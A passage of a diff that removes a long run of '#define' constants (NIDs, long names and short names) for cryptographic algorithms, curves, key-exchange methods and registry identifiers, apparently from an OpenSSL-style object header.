-#define LN_tcg_at_platformModel "TCG Platform Model" -#define SN_tcg_at_platformModel "tcg-at-platformModel" -#define NID_tcg_at_platformConfigUri 1339 -#define LN_tcg_at_platformConfigUri "TCG Platform Configuration URI" -#define SN_tcg_at_platformConfigUri "tcg-at-platformConfigUri" -#define NID_tcg_at_platformManufacturerId 1338 -#define LN_tcg_at_platformManufacturerId "TCG Platform Manufacturer ID" -#define SN_tcg_at_platformManufacturerId "tcg-at-platformManufacturerId" -#define NID_tcg_at_platformManufacturerStr 1337 -#define LN_tcg_at_platformManufacturerStr "TCG Platform Manufacturer String" -#define SN_tcg_at_platformManufacturerStr "tcg-at-platformManufacturerStr" -#define NID_tcg_common 1336 -#define LN_tcg_common "Trusted Computing Group Common" -#define SN_tcg_common "tcg-common" -#define NID_tcg_traits 1335 -#define LN_tcg_traits "Trusted Computing Group Traits" -#define SN_tcg_traits "tcg-traits" -#define NID_tcg_registry 1334 -#define LN_tcg_registry "Trusted Computing Group Registry" -#define SN_tcg_registry "tcg-registry" -#define NID_tcg_address 1333 -#define LN_tcg_address "Trusted Computing Group Address Formats" -#define SN_tcg_address "tcg-address" -#define NID_tcg_ca 1332 -#define LN_tcg_ca "Trusted Computing Group Certificate Policies" -#define SN_tcg_ca "tcg-ca" -#define NID_tcg_kp 1331 -#define LN_tcg_kp "Trusted Computing Group Key Purposes" -#define SN_tcg_kp "tcg-kp" -#define NID_tcg_ce 1330 -#define LN_tcg_ce "Trusted Computing Group Certificate Extensions" -#define SN_tcg_ce "tcg-ce" -#define NID_tcg_platformClass 1329 -#define LN_tcg_platformClass "Trusted Computing Group Platform Classes" -#define SN_tcg_platformClass "tcg-platformClass" -#define NID_tcg_algorithm 1328 -#define LN_tcg_algorithm "Trusted Computing Group Algorithms" -#define SN_tcg_algorithm "tcg-algorithm" -#define NID_tcg_protocol 1327 -#define LN_tcg_protocol "Trusted Computing Group Protocols" -#define SN_tcg_protocol "tcg-protocol" -#define NID_tcg_attribute 1326 -#define LN_tcg_attribute "Trusted Computing Group Attributes" -#define SN_tcg_attribute "tcg-attribute" -#define NID_tcg_tcpaSpecVersion 1325 -#define SN_tcg_tcpaSpecVersion "tcg-tcpaSpecVersion" -#define NID_tcg 1324 -#define LN_tcg "Trusted Computing Group" -#define SN_tcg "tcg" -#define NID_zstd 1289 -#define LN_zstd "Zstandard compression" -#define SN_zstd "zstd" -#define NID_brotli 1288 -#define LN_brotli "Brotli compression" -#define SN_brotli "brotli" -#define NID_oracle_jdk_trustedkeyusage 1283 -#define LN_oracle_jdk_trustedkeyusage "Trusted key usage (Oracle)" -#define SN_oracle_jdk_trustedkeyusage "oracle-jdk-trustedkeyusage" -#define NID_oracle 1282 -#define LN_oracle "Oracle organization" -#define SN_oracle "oracle-organization" -#define NID_aes_256_siv 1200 -#define LN_aes_256_siv "aes-256-siv" -#define SN_aes_256_siv "AES-256-SIV" -#define NID_aes_192_siv 1199 -#define LN_aes_192_siv "aes-192-siv" -#define SN_aes_192_siv "AES-192-SIV" -#define NID_aes_128_siv 1198 -#define LN_aes_128_siv "aes-128-siv" -#define SN_aes_128_siv "AES-128-SIV" -#define NID_uacurve9 1169 -#define LN_uacurve9 "DSTU curve 9" -#define SN_uacurve9 "uacurve9" -#define NID_uacurve8 1168 -#define LN_uacurve8 "DSTU curve 8" -#define SN_uacurve8 "uacurve8" -#define NID_uacurve7 1167 -#define LN_uacurve7 "DSTU curve 7" -#define SN_uacurve7 "uacurve7" -#define NID_uacurve6 1166 -#define LN_uacurve6 "DSTU curve 6" -#define SN_uacurve6 "uacurve6" -#define NID_uacurve5 1165 -#define LN_uacurve5 "DSTU curve 5" -#define SN_uacurve5 "uacurve5" -#define NID_uacurve4 1164 -#define LN_uacurve4 "DSTU curve 4" -#define SN_uacurve4 "uacurve4" -#define NID_uacurve3 1163 -#define LN_uacurve3 "DSTU curve 3" -#define SN_uacurve3 "uacurve3" -#define NID_uacurve2 1162 -#define LN_uacurve2 "DSTU curve 2" -#define SN_uacurve2 "uacurve2" -#define NID_uacurve1 1161 -#define LN_uacurve1 "DSTU curve 1" -#define SN_uacurve1 "uacurve1" -#define NID_uacurve0 1160 -#define LN_uacurve0 "DSTU curve 0" -#define SN_uacurve0 "uacurve0" -#define NID_dstu4145be 1159 -#define LN_dstu4145be "DSTU 4145-2002 big endian" -#define SN_dstu4145be "dstu4145be" -#define NID_dstu4145le 1158 -#define LN_dstu4145le "DSTU 4145-2002 little endian" -#define SN_dstu4145le "dstu4145le" -#define NID_dstu34311 1157 -#define LN_dstu34311 "DSTU Gost 34311-95" -#define SN_dstu34311 "dstu34311" -#define NID_hmacWithDstu34311 1156 -#define LN_hmacWithDstu34311 "HMAC DSTU Gost 34311-95" -#define SN_hmacWithDstu34311 "hmacWithDstu34311" -#define NID_dstu28147_wrap 1155 -#define LN_dstu28147_wrap "DSTU Gost 28147-2009 key wrap" -#define SN_dstu28147_wrap "dstu28147-wrap" -#define NID_dstu28147_cfb 1154 -#define LN_dstu28147_cfb "DSTU Gost 28147-2009 CFB mode" -#define SN_dstu28147_cfb "dstu28147-cfb" -#define NID_dstu28147_ofb 1153 -#define LN_dstu28147_ofb "DSTU Gost 28147-2009 OFB mode" -#define SN_dstu28147_ofb "dstu28147-ofb" -#define NID_dstu28147 1152 -#define LN_dstu28147 "DSTU Gost 28147-2009" -#define SN_dstu28147 "dstu28147" -#define NID_ua_pki 1151 -#define SN_ua_pki "ua-pki" -#define NID_ISO_UA 1150 -#define SN_ISO_UA "ISO-UA" -#define NID_modp_8192 1217 -#define SN_modp_8192 "modp_8192" -#define NID_modp_6144 1216 -#define SN_modp_6144 "modp_6144" -#define NID_modp_4096 1215 -#define SN_modp_4096 "modp_4096" -#define NID_modp_3072 1214 -#define SN_modp_3072 "modp_3072" -#define NID_modp_2048 1213 -#define SN_modp_2048 "modp_2048" -#define NID_modp_1536 1212 -#define SN_modp_1536 "modp_1536" -#define NID_ffdhe8192 1130 -#define SN_ffdhe8192 "ffdhe8192" -#define NID_ffdhe6144 1129 -#define SN_ffdhe6144 "ffdhe6144" -#define NID_ffdhe4096 1128 -#define SN_ffdhe4096 "ffdhe4096" -#define NID_ffdhe3072 1127 -#define SN_ffdhe3072 "ffdhe3072" -#define NID_ffdhe2048 1126 -#define SN_ffdhe2048 "ffdhe2048" -#define NID_siphash 1062 -#define LN_siphash "siphash" -#define SN_siphash "SipHash" -#define NID_poly1305 1061 -#define LN_poly1305 "poly1305" -#define SN_poly1305 "Poly1305" -#define NID_auth_any 1064 -#define LN_auth_any "auth-any" -#define SN_auth_any "AuthANY" -#define NID_auth_null 1053 -#define LN_auth_null "auth-null" -#define SN_auth_null "AuthNULL" -#define NID_auth_srp 1052 -#define LN_auth_srp "auth-srp" -#define SN_auth_srp "AuthSRP" -#define NID_auth_gost12 1051 -#define LN_auth_gost12 "auth-gost12" -#define SN_auth_gost12 "AuthGOST12" -#define NID_auth_gost01 1050 -#define LN_auth_gost01 "auth-gost01" -#define SN_auth_gost01 "AuthGOST01" -#define NID_auth_dss 1049 -#define LN_auth_dss "auth-dss" -#define SN_auth_dss "AuthDSS" -#define NID_auth_psk 1048 -#define LN_auth_psk "auth-psk" -#define SN_auth_psk "AuthPSK" -#define NID_auth_ecdsa 1047 -#define LN_auth_ecdsa "auth-ecdsa" -#define SN_auth_ecdsa "AuthECDSA" -#define NID_auth_rsa 1046 -#define LN_auth_rsa "auth-rsa" -#define SN_auth_rsa "AuthRSA" -#define NID_kx_any 1063 -#define LN_kx_any "kx-any" -#define SN_kx_any "KxANY" -#define NID_kx_gost18 1218 -#define LN_kx_gost18 "kx-gost18" -#define SN_kx_gost18 "KxGOST18" -#define NID_kx_gost 1045 -#define LN_kx_gost "kx-gost" -#define SN_kx_gost "KxGOST" -#define NID_kx_srp 1044 -#define LN_kx_srp "kx-srp" -#define SN_kx_srp "KxSRP" -#define NID_kx_psk 1043 -#define LN_kx_psk "kx-psk" -#define SN_kx_psk "KxPSK" -#define NID_kx_rsa_psk 1042 -#define LN_kx_rsa_psk "kx-rsa-psk" -#define SN_kx_rsa_psk "KxRSA_PSK" -#define NID_kx_dhe_psk 1041 -#define LN_kx_dhe_psk "kx-dhe-psk" -#define SN_kx_dhe_psk "KxDHE-PSK" -#define NID_kx_ecdhe_psk 1040 -#define LN_kx_ecdhe_psk "kx-ecdhe-psk" -#define SN_kx_ecdhe_psk "KxECDHE-PSK" -#define NID_kx_dhe 1039 -#define LN_kx_dhe "kx-dhe" -#define SN_kx_dhe "KxDHE" -#define NID_kx_ecdhe 1038 -#define LN_kx_ecdhe "kx-ecdhe" -#define SN_kx_ecdhe "KxECDHE" -#define NID_kx_rsa 1037 -#define LN_kx_rsa "kx-rsa" -#define SN_kx_rsa "KxRSA" -#define SN_ED448 "ED448" -#define SN_ED25519 "ED25519" -#define NID_X448 1035 -#define SN_X448 "X448" -#define NID_X25519 1034 -#define SN_X25519 "X25519" -#define NID_pkInitKDC 1033 -#define LN_pkInitKDC "Signing KDC Response" -#define SN_pkInitKDC "pkInitKDC" -#define NID_pkInitClientAuth 1032 -#define LN_pkInitClientAuth "PKINIT Client Auth" -#define SN_pkInitClientAuth "pkInitClientAuth" -#define NID_id_pkinit 1031 -#define SN_id_pkinit "id-pkinit" -#define NID_x963kdf 1206 -#define LN_x963kdf "x963kdf" -#define SN_x963kdf "X963KDF" -#define NID_x942kdf 1207 -#define LN_x942kdf "x942kdf" -#define SN_x942kdf "X942KDF" -#define NID_sskdf 1205 -#define LN_sskdf "sskdf" -#define SN_sskdf "SSKDF" -#define NID_sshkdf 1203 -#define LN_sshkdf "sshkdf" -#define SN_sshkdf "SSHKDF" -#define NID_hkdf 1036 -#define LN_hkdf "hkdf" -#define SN_hkdf "HKDF" -#define NID_tls1_prf 1021 -#define LN_tls1_prf "tls1-prf" -#define SN_tls1_prf "TLS1-PRF" -#define NID_id_scrypt 973 -#define LN_id_scrypt "scrypt" -#define SN_id_scrypt "id-scrypt" -#define NID_jurisdictionCountryName 957 -#define LN_jurisdictionCountryName "jurisdictionCountryName" -#define SN_jurisdictionCountryName "jurisdictionC" -#define NID_jurisdictionStateOrProvinceName 956 -#define LN_jurisdictionStateOrProvinceName "jurisdictionStateOrProvinceName" -#define SN_jurisdictionStateOrProvinceName "jurisdictionST" -#define NID_jurisdictionLocalityName 955 -#define LN_jurisdictionLocalityName "jurisdictionLocalityName" -#define SN_jurisdictionLocalityName "jurisdictionL" -#define NID_ct_cert_scts 954 -#define LN_ct_cert_scts "CT Certificate SCTs" -#define SN_ct_cert_scts "ct_cert_scts" -#define NID_ct_precert_signer 953 -#define LN_ct_precert_signer "CT Precertificate Signer" -#define SN_ct_precert_signer "ct_precert_signer" -#define NID_ct_precert_poison 952 -#define LN_ct_precert_poison "CT Precertificate Poison" -#define SN_ct_precert_poison "ct_precert_poison" -#define NID_ct_precert_scts 951 -#define LN_ct_precert_scts "CT Precertificate SCTs" -#define SN_ct_precert_scts "ct_precert_scts" -#define NID_dh_cofactor_kdf 947 -#define SN_dh_cofactor_kdf "dh-cofactor-kdf" -#define NID_dh_std_kdf 946 -#define SN_dh_std_kdf "dh-std-kdf" -#define NID_dhSinglePass_cofactorDH_sha512kdf_scheme 945 -#define SN_dhSinglePass_cofactorDH_sha512kdf_scheme "dhSinglePass-cofactorDH-sha512kdf-scheme" -#define NID_dhSinglePass_cofactorDH_sha384kdf_scheme 944 -#define SN_dhSinglePass_cofactorDH_sha384kdf_scheme "dhSinglePass-cofactorDH-sha384kdf-scheme" -#define NID_dhSinglePass_cofactorDH_sha256kdf_scheme 943 -#define SN_dhSinglePass_cofactorDH_sha256kdf_scheme "dhSinglePass-cofactorDH-sha256kdf-scheme" -#define NID_dhSinglePass_cofactorDH_sha224kdf_scheme 942 -#define SN_dhSinglePass_cofactorDH_sha224kdf_scheme "dhSinglePass-cofactorDH-sha224kdf-scheme" -#define NID_dhSinglePass_cofactorDH_sha1kdf_scheme 941 -#define SN_dhSinglePass_cofactorDH_sha1kdf_scheme "dhSinglePass-cofactorDH-sha1kdf-scheme" -#define NID_dhSinglePass_stdDH_sha512kdf_scheme 940 -#define SN_dhSinglePass_stdDH_sha512kdf_scheme "dhSinglePass-stdDH-sha512kdf-scheme" -#define NID_dhSinglePass_stdDH_sha384kdf_scheme 939 -#define SN_dhSinglePass_stdDH_sha384kdf_scheme "dhSinglePass-stdDH-sha384kdf-scheme" -#define NID_dhSinglePass_stdDH_sha256kdf_scheme 938 -#define SN_dhSinglePass_stdDH_sha256kdf_scheme "dhSinglePass-stdDH-sha256kdf-scheme" -#define NID_dhSinglePass_stdDH_sha224kdf_scheme 937 -#define SN_dhSinglePass_stdDH_sha224kdf_scheme "dhSinglePass-stdDH-sha224kdf-scheme" -#define NID_dhSinglePass_stdDH_sha1kdf_scheme 936 -#define SN_dhSinglePass_stdDH_sha1kdf_scheme "dhSinglePass-stdDH-sha1kdf-scheme" -#define NID_brainpoolP512t1 934 -#define SN_brainpoolP512t1 "brainpoolP512t1" -#define NID_brainpoolP512r1tls13 1287 -#define SN_brainpoolP512r1tls13 "brainpoolP512r1tls13" -#define NID_brainpoolP512r1 933 -#define SN_brainpoolP512r1 "brainpoolP512r1" -#define NID_brainpoolP384t1 932 -#define SN_brainpoolP384t1 "brainpoolP384t1" -#define NID_brainpoolP384r1tls13 1286 -#define SN_brainpoolP384r1tls13 "brainpoolP384r1tls13" -#define NID_brainpoolP384r1 931 -#define SN_brainpoolP384r1 "brainpoolP384r1" -#define NID_brainpoolP320t1 930 -#define SN_brainpoolP320t1 "brainpoolP320t1" -#define NID_brainpoolP320r1 929 -#define SN_brainpoolP320r1 "brainpoolP320r1" -#define NID_brainpoolP256t1 928 -#define SN_brainpoolP256t1 "brainpoolP256t1" -#define NID_brainpoolP256r1tls13 1285 -#define SN_brainpoolP256r1tls13 "brainpoolP256r1tls13" -#define NID_brainpoolP256r1 927 -#define SN_brainpoolP256r1 "brainpoolP256r1" -#define NID_brainpoolP224t1 926 -#define SN_brainpoolP224t1 "brainpoolP224t1" -#define NID_brainpoolP224r1 925 -#define SN_brainpoolP224r1 "brainpoolP224r1" -#define NID_brainpoolP192t1 924 -#define SN_brainpoolP192t1 "brainpoolP192t1" -#define NID_brainpoolP192r1 923 -#define SN_brainpoolP192r1 "brainpoolP192r1" -#define NID_brainpoolP160t1 922 -#define SN_brainpoolP160t1 "brainpoolP160t1" -#define NID_brainpoolP160r1 921 -#define SN_brainpoolP160r1 "brainpoolP160r1" -#define NID_dhpublicnumber 920 -#define LN_dhpublicnumber "X9.42 DH" -#define SN_dhpublicnumber "dhpublicnumber" -#define NID_chacha20 1019 -#define LN_chacha20 "chacha20" -#define SN_chacha20 "ChaCha20" -#define NID_chacha20_poly1305 1018 -#define LN_chacha20_poly1305 "chacha20-poly1305" -#define SN_chacha20_poly1305 "ChaCha20-Poly1305" -#define NID_aes_256_cbc_hmac_sha256 950 -#define LN_aes_256_cbc_hmac_sha256 "aes-256-cbc-hmac-sha256" -#define SN_aes_256_cbc_hmac_sha256 "AES-256-CBC-HMAC-SHA256" -#define NID_aes_192_cbc_hmac_sha256 949 -#define LN_aes_192_cbc_hmac_sha256 "aes-192-cbc-hmac-sha256" -#define SN_aes_192_cbc_hmac_sha256 "AES-192-CBC-HMAC-SHA256" -#define NID_aes_128_cbc_hmac_sha256 948 -#define LN_aes_128_cbc_hmac_sha256 "aes-128-cbc-hmac-sha256" -#define SN_aes_128_cbc_hmac_sha256 "AES-128-CBC-HMAC-SHA256" -#define NID_aes_256_cbc_hmac_sha1 918 -#define LN_aes_256_cbc_hmac_sha1 "aes-256-cbc-hmac-sha1" -#define SN_aes_256_cbc_hmac_sha1 "AES-256-CBC-HMAC-SHA1" -#define NID_aes_192_cbc_hmac_sha1 917 -#define LN_aes_192_cbc_hmac_sha1 "aes-192-cbc-hmac-sha1" -#define SN_aes_192_cbc_hmac_sha1 "AES-192-CBC-HMAC-SHA1" -#define NID_aes_128_cbc_hmac_sha1 916 -#define LN_aes_128_cbc_hmac_sha1 "aes-128-cbc-hmac-sha1" -#define SN_aes_128_cbc_hmac_sha1 "AES-128-CBC-HMAC-SHA1" -#define NID_rc4_hmac_md5 915 -#define LN_rc4_hmac_md5 "rc4-hmac-md5" -#define SN_rc4_hmac_md5 "RC4-HMAC-MD5" -#define NID_cmac 894 -#define LN_cmac "cmac" -#define SN_cmac "CMAC" -#define LN_hmac "hmac" -#define SN_hmac "HMAC" -#define NID_sm4_xts 1290 -#define LN_sm4_xts "sm4-xts" -#define SN_sm4_xts "SM4-XTS" -#define NID_sm4_ccm 1249 -#define LN_sm4_ccm "sm4-ccm" -#define SN_sm4_ccm "SM4-CCM" -#define NID_sm4_gcm 1248 -#define LN_sm4_gcm "sm4-gcm" -#define SN_sm4_gcm "SM4-GCM" -#define NID_sm4_ctr 1139 -#define LN_sm4_ctr "sm4-ctr" -#define SN_sm4_ctr "SM4-CTR" -#define NID_sm4_cfb8 1138 -#define LN_sm4_cfb8 "sm4-cfb8" -#define SN_sm4_cfb8 "SM4-CFB8" -#define NID_sm4_cfb1 1136 -#define LN_sm4_cfb1 "sm4-cfb1" -#define SN_sm4_cfb1 "SM4-CFB1" -#define NID_sm4_cfb128 1137 -#define LN_sm4_cfb128 "sm4-cfb" -#define SN_sm4_cfb128 "SM4-CFB" -#define NID_sm4_ofb128 1135 -#define LN_sm4_ofb128 "sm4-ofb" -#define SN_sm4_ofb128 "SM4-OFB" -#define NID_sm4_cbc 1134 -#define LN_sm4_cbc "sm4-cbc" -#define SN_sm4_cbc "SM4-CBC" -#define NID_sm4_ecb 1133 -#define LN_sm4_ecb "sm4-ecb" -#define SN_sm4_ecb "SM4-ECB" -#define NID_seed_ofb128 778 -#define LN_seed_ofb128 "seed-ofb" -#define SN_seed_ofb128 "SEED-OFB" -#define NID_seed_cfb128 779 -#define LN_seed_cfb128 "seed-cfb" -#define SN_seed_cfb128 "SEED-CFB" -#define NID_seed_cbc 777 -#define LN_seed_cbc "seed-cbc" -#define SN_seed_cbc "SEED-CBC" -#define NID_seed_ecb 776 -#define LN_seed_ecb "seed-ecb" -#define SN_seed_ecb "SEED-ECB" -#define NID_kisa 773 -#define LN_kisa "kisa" -#define SN_kisa "KISA" -#define NID_aria_256_gcm 1125 -#define LN_aria_256_gcm "aria-256-gcm" -#define SN_aria_256_gcm "ARIA-256-GCM" -#define NID_aria_192_gcm 1124 -#define LN_aria_192_gcm "aria-192-gcm" -#define SN_aria_192_gcm "ARIA-192-GCM" -#define NID_aria_128_gcm 1123 -#define LN_aria_128_gcm "aria-128-gcm" -#define SN_aria_128_gcm "ARIA-128-GCM" -#define NID_aria_256_ccm 1122 -#define LN_aria_256_ccm "aria-256-ccm" -#define SN_aria_256_ccm "ARIA-256-CCM" -#define NID_aria_192_ccm 1121 -#define LN_aria_192_ccm "aria-192-ccm" -#define SN_aria_192_ccm "ARIA-192-CCM" -#define NID_aria_128_ccm 1120 -#define LN_aria_128_ccm "aria-128-ccm" -#define SN_aria_128_ccm "ARIA-128-CCM" -#define NID_aria_256_cfb8 1085 -#define LN_aria_256_cfb8 "aria-256-cfb8" -#define SN_aria_256_cfb8 "ARIA-256-CFB8" -#define NID_aria_192_cfb8 1084 -#define LN_aria_192_cfb8 "aria-192-cfb8" -#define SN_aria_192_cfb8 "ARIA-192-CFB8" -#define NID_aria_128_cfb8 1083 -#define LN_aria_128_cfb8 "aria-128-cfb8" -#define SN_aria_128_cfb8 "ARIA-128-CFB8" -#define NID_aria_256_cfb1 1082 -#define LN_aria_256_cfb1 "aria-256-cfb1" -#define SN_aria_256_cfb1 "ARIA-256-CFB1" -#define NID_aria_192_cfb1 1081 -#define LN_aria_192_cfb1 "aria-192-cfb1" -#define SN_aria_192_cfb1 "ARIA-192-CFB1" -#define NID_aria_128_cfb1 1080 -#define LN_aria_128_cfb1 "aria-128-cfb1" -#define SN_aria_128_cfb1 "ARIA-128-CFB1" -#define NID_aria_256_ctr 1079 -#define LN_aria_256_ctr "aria-256-ctr" -#define SN_aria_256_ctr "ARIA-256-CTR" -#define NID_aria_256_ofb128 1078 -#define LN_aria_256_ofb128 "aria-256-ofb" -#define SN_aria_256_ofb128 "ARIA-256-OFB" -#define NID_aria_256_cfb128 1077 -#define LN_aria_256_cfb128 "aria-256-cfb" -#define SN_aria_256_cfb128 "ARIA-256-CFB" -#define NID_aria_256_cbc 1076 -#define LN_aria_256_cbc "aria-256-cbc" -#define SN_aria_256_cbc "ARIA-256-CBC" -#define NID_aria_256_ecb 1075 -#define LN_aria_256_ecb "aria-256-ecb" -#define SN_aria_256_ecb "ARIA-256-ECB" -#define NID_aria_192_ctr 1074 -#define LN_aria_192_ctr "aria-192-ctr" -#define SN_aria_192_ctr "ARIA-192-CTR" -#define NID_aria_192_ofb128 1073 -#define LN_aria_192_ofb128 "aria-192-ofb" -#define SN_aria_192_ofb128 "ARIA-192-OFB" -#define NID_aria_192_cfb128 1072 -#define LN_aria_192_cfb128 "aria-192-cfb" -#define SN_aria_192_cfb128 "ARIA-192-CFB" -#define NID_aria_192_cbc 1071 -#define LN_aria_192_cbc "aria-192-cbc" -#define SN_aria_192_cbc "ARIA-192-CBC" -#define NID_aria_192_ecb 1070 -#define LN_aria_192_ecb "aria-192-ecb" -#define SN_aria_192_ecb "ARIA-192-ECB" -#define NID_aria_128_ctr 1069 -#define LN_aria_128_ctr "aria-128-ctr" -#define SN_aria_128_ctr "ARIA-128-CTR" -#define NID_aria_128_ofb128 1068 -#define LN_aria_128_ofb128 "aria-128-ofb" -#define SN_aria_128_ofb128 "ARIA-128-OFB" -#define NID_aria_128_cfb128 1067 -#define LN_aria_128_cfb128 "aria-128-cfb" -#define SN_aria_128_cfb128 "ARIA-128-CFB" -#define NID_aria_128_cbc 1066 -#define LN_aria_128_cbc "aria-128-cbc" -#define SN_aria_128_cbc "ARIA-128-CBC" -#define NID_aria_128_ecb 1065 -#define LN_aria_128_ecb "aria-128-ecb" -#define SN_aria_128_ecb "ARIA-128-ECB" -#define NID_camellia_256_cfb8 765 -#define LN_camellia_256_cfb8 "camellia-256-cfb8" -#define SN_camellia_256_cfb8 "CAMELLIA-256-CFB8" -#define NID_camellia_192_cfb8 764 -#define LN_camellia_192_cfb8 "camellia-192-cfb8" -#define SN_camellia_192_cfb8 "CAMELLIA-192-CFB8" -#define NID_camellia_128_cfb8 763 -#define LN_camellia_128_cfb8 "camellia-128-cfb8" -#define SN_camellia_128_cfb8 "CAMELLIA-128-CFB8" -#define NID_camellia_256_cfb1 762 -#define LN_camellia_256_cfb1 "camellia-256-cfb1" -#define SN_camellia_256_cfb1 "CAMELLIA-256-CFB1" -#define NID_camellia_192_cfb1 761 -#define LN_camellia_192_cfb1 "camellia-192-cfb1" -#define SN_camellia_192_cfb1 "CAMELLIA-192-CFB1" -#define NID_camellia_128_cfb1 760 -#define LN_camellia_128_cfb1 "camellia-128-cfb1" -#define SN_camellia_128_cfb1 "CAMELLIA-128-CFB1" -#define NID_camellia_256_cmac 972 -#define LN_camellia_256_cmac "camellia-256-cmac" -#define SN_camellia_256_cmac "CAMELLIA-256-CMAC" -#define NID_camellia_256_ctr 971 -#define LN_camellia_256_ctr "camellia-256-ctr" -#define SN_camellia_256_ctr "CAMELLIA-256-CTR" -#define NID_camellia_256_ccm 970 -#define LN_camellia_256_ccm "camellia-256-ccm" -#define SN_camellia_256_ccm "CAMELLIA-256-CCM" -#define NID_camellia_256_gcm 969 -#define LN_camellia_256_gcm "camellia-256-gcm" -#define SN_camellia_256_gcm "CAMELLIA-256-GCM" -#define NID_camellia_256_cfb128 759 -#define LN_camellia_256_cfb128 "camellia-256-cfb" -#define SN_camellia_256_cfb128 "CAMELLIA-256-CFB" -#define NID_camellia_256_ofb128 768 -#define LN_camellia_256_ofb128 "camellia-256-ofb" -#define SN_camellia_256_ofb128 "CAMELLIA-256-OFB" -#define NID_camellia_256_ecb 756 -#define LN_camellia_256_ecb "camellia-256-ecb" -#define SN_camellia_256_ecb "CAMELLIA-256-ECB" -#define NID_camellia_192_cmac 968 -#define LN_camellia_192_cmac "camellia-192-cmac" -#define SN_camellia_192_cmac "CAMELLIA-192-CMAC" -#define NID_camellia_192_ctr 967 -#define LN_camellia_192_ctr "camellia-192-ctr" -#define SN_camellia_192_ctr "CAMELLIA-192-CTR" -#define NID_camellia_192_ccm 966 -#define LN_camellia_192_ccm "camellia-192-ccm" -#define SN_camellia_192_ccm "CAMELLIA-192-CCM" -#define NID_camellia_192_gcm 965 -#define LN_camellia_192_gcm "camellia-192-gcm" -#define SN_camellia_192_gcm "CAMELLIA-192-GCM" -#define NID_camellia_192_cfb128 758 -#define LN_camellia_192_cfb128 "camellia-192-cfb" -#define SN_camellia_192_cfb128 "CAMELLIA-192-CFB" -#define NID_camellia_192_ofb128 767 -#define LN_camellia_192_ofb128 "camellia-192-ofb" -#define SN_camellia_192_ofb128 "CAMELLIA-192-OFB" -#define NID_camellia_192_ecb 755 -#define LN_camellia_192_ecb "camellia-192-ecb" -#define SN_camellia_192_ecb "CAMELLIA-192-ECB" -#define NID_camellia_128_cmac 964 -#define LN_camellia_128_cmac "camellia-128-cmac" -#define SN_camellia_128_cmac "CAMELLIA-128-CMAC" -#define NID_camellia_128_ctr 963 -#define LN_camellia_128_ctr "camellia-128-ctr" -#define SN_camellia_128_ctr "CAMELLIA-128-CTR" -#define NID_camellia_128_ccm 962 -#define LN_camellia_128_ccm "camellia-128-ccm" -#define SN_camellia_128_ccm "CAMELLIA-128-CCM" -#define NID_camellia_128_gcm 961 -#define LN_camellia_128_gcm "camellia-128-gcm" -#define SN_camellia_128_gcm "CAMELLIA-128-GCM" -#define NID_camellia_128_cfb128 757 -#define LN_camellia_128_cfb128 "camellia-128-cfb" -#define SN_camellia_128_cfb128 "CAMELLIA-128-CFB" -#define NID_camellia_128_ofb128 766 -#define LN_camellia_128_ofb128 "camellia-128-ofb" -#define SN_camellia_128_ofb128 "CAMELLIA-128-OFB" -#define NID_camellia_128_ecb 754 -#define LN_camellia_128_ecb "camellia-128-ecb" -#define SN_camellia_128_ecb "CAMELLIA-128-ECB" -#define NID_id_camellia256_wrap 909 -#define SN_id_camellia256_wrap "id-camellia256-wrap" -#define NID_id_camellia192_wrap 908 -#define SN_id_camellia192_wrap "id-camellia192-wrap" -#define NID_id_camellia128_wrap 907 -#define SN_id_camellia128_wrap "id-camellia128-wrap" -#define NID_camellia_256_cbc 753 -#define LN_camellia_256_cbc "camellia-256-cbc" -#define SN_camellia_256_cbc "CAMELLIA-256-CBC" -#define NID_camellia_192_cbc 752 -#define LN_camellia_192_cbc "camellia-192-cbc" -#define SN_camellia_192_cbc "CAMELLIA-192-CBC" -#define NID_camellia_128_cbc 751 -#define LN_camellia_128_cbc "camellia-128-cbc" -#define SN_camellia_128_cbc "CAMELLIA-128-CBC" -#define NID_magma_mac 1192 -#define SN_magma_mac "magma-mac" -#define NID_magma_cfb 1191 -#define SN_magma_cfb "magma-cfb" -#define NID_magma_cbc 1190 -#define SN_magma_cbc "magma-cbc" -#define NID_magma_ofb 1189 -#define SN_magma_ofb "magma-ofb" -#define NID_magma_ctr 1188 -#define SN_magma_ctr "magma-ctr" -#define NID_magma_ecb 1187 -#define SN_magma_ecb "magma-ecb" -#define NID_kuznyechik_mac 1017 -#define SN_kuznyechik_mac "kuznyechik-mac" -#define NID_kuznyechik_cfb 1016 -#define SN_kuznyechik_cfb "kuznyechik-cfb" -#define NID_kuznyechik_cbc 1015 -#define SN_kuznyechik_cbc "kuznyechik-cbc" -#define NID_kuznyechik_ofb 1014 -#define SN_kuznyechik_ofb "kuznyechik-ofb" -#define NID_kuznyechik_ctr 1013 -#define SN_kuznyechik_ctr "kuznyechik-ctr" -#define NID_kuznyechik_ecb 1012 -#define SN_kuznyechik_ecb "kuznyechik-ecb" -#define NID_classSignToolKA1 1233 -#define LN_classSignToolKA1 "Class of Signing Tool KA1" -#define SN_classSignToolKA1 "classSignToolKA1" -#define NID_classSignToolKB2 1232 -#define LN_classSignToolKB2 "Class of Signing Tool KB2" -#define SN_classSignToolKB2 "classSignToolKB2" -#define NID_classSignToolKB1 1231 -#define LN_classSignToolKB1 "Class of Signing Tool KB1" -#define SN_classSignToolKB1 "classSignToolKB1" -#define NID_classSignToolKC3 1230 -#define LN_classSignToolKC3 "Class of Signing Tool KC3" -#define SN_classSignToolKC3 "classSignToolKC3" -#define NID_classSignToolKC2 1229 -#define LN_classSignToolKC2 "Class of Signing Tool KC2" -#define SN_classSignToolKC2 "classSignToolKC2" -#define NID_classSignToolKC1 1228 -#define LN_classSignToolKC1 "Class of Signing Tool KC1" -#define SN_classSignToolKC1 "classSignToolKC1" -#define NID_classSignTool 1227 -#define LN_classSignTool "Class of Signing Tool" -#define SN_classSignTool "classSignTool" -#define NID_issuerSignTool 1008 -#define LN_issuerSignTool "Signing Tool of Issuer" -#define SN_issuerSignTool "issuerSignTool" -#define NID_subjectSignTool 1007 -#define LN_subjectSignTool "Signing Tool of Subject" -#define SN_subjectSignTool "subjectSignTool" -#define NID_OGRNIP 1226 -#define LN_OGRNIP "OGRNIP" -#define SN_OGRNIP "OGRNIP" -#define NID_SNILS 1006 -#define LN_SNILS "SNILS" -#define SN_SNILS "SNILS" -#define NID_OGRN 1005 -#define LN_OGRN "OGRN" -#define SN_OGRN "OGRN" -#define NID_INN 1004 -#define LN_INN "INN" -#define SN_INN "INN" -#define NID_id_tc26_gost_28147_param_Z 1003 -#define LN_id_tc26_gost_28147_param_Z "GOST 28147-89 TC26 parameter set" -#define SN_id_tc26_gost_28147_param_Z "id-tc26-gost-28147-param-Z" -#define NID_id_tc26_gost_28147_constants 1002 